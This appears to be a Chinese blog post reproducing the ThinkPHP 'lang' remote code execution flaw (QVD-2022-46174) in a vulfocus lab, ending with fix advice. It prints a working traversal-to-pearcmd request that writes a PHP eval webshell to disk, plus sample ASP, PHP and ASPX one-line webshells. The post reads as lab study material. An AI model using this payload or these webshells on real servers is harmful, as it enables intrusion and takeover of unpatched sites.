您现在的位置是:首页 >技术杂谈 >thinkphp lang命令执行(QVD-2022-46174)漏洞复现网站首页技术杂谈

thinkphp lang命令执行(QVD-2022-46174)漏洞复现

菜小官 2024-06-09 12:00:02
简介thinkphp lang命令执行(QVD-2022-46174)漏洞复现

漏洞简介:

        ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。当特定版本的ThinkPHP开启多语言功能,并且存在扩展pear时,攻击者可以构造lang参数实现远程代码执行。

影响版本:

6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x

漏洞原理:

1、知识储备:

     (1)HTML之lang属性:在Html全局属性列表中,对lang属性的描述为(Defines the language used in the element - 定义元素中使用的语言),顾名思义,lang属性的作用就是用来定义元素中使用的语言。

     (2)PEAR:PEAR也就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库。

     (3)Pearcmd:pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具, 可以理解为php的命令行工具。

     (4)config-create:创建文件,该方法需接收两个参数,第一个参数是写入文件的内容,第二个参数是写入文件的路径

2、漏洞原理

       该漏洞建立在目录遍历和文件包含之上,主要由于pearcmd的存在为攻击者提供了实施远程代码攻击的可能,扩大了其危害性。

复现过程:

环境搭建:ubuntu+docker+vulfocus

工具:burpsuite+蚁剑

启动靶场:

docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=《ubuntu 的IP》 vulfocus/vulfocus

访问路径http://192.168.202.166:64098/public/index.php

抓包并丢到repeater模块并修改包添加payload:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['caixiaogaun']);?>+/var/www/html/666.php

 payload注释:

../../../../../../../../  一直退到根目录(需存在目录遍历漏洞)

/usr/local/lib/php/pearcmd  需要用到pearcmd

&+config-create+/<?=@eval($_REQUEST['caixiaogaun']);?>+/var/www/html/666.php   将一句话木马写入到/var/www/html/666.php中

一句话木马其实就是脚本语言的利用,懂脚本语言则无师自通,不懂也不打紧,稍微熟悉一下各脚本语言的执行命令操作即可灵活构造。

          Asp一句话木马:

         <%eval request(“heroes”)%>   

          Php 一句话木马:

        <?php @eval($_POST[value];?>

         Aspx 一句话木马:

        <%@ Page Language=”Jscript”%>

        <%eval(Request.Item[“value”])%>

使用蚁剑连接

成功获取shell

修复建议:

php.ini中的register_argc_argv设置为Off,禁止url传入命令行参数;

或升级版本。

总结:

        本次漏洞复现,是建立在前人的基础上的,整个过程没有遇到太大问题,总体收获就是感受了一把该漏洞,以及复习了前面学习到的一句话木马,同时扩展了一些小知识点。

      将思绪代入最初的漏洞发现者,才明白知识储备对挖洞者的重要性。

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。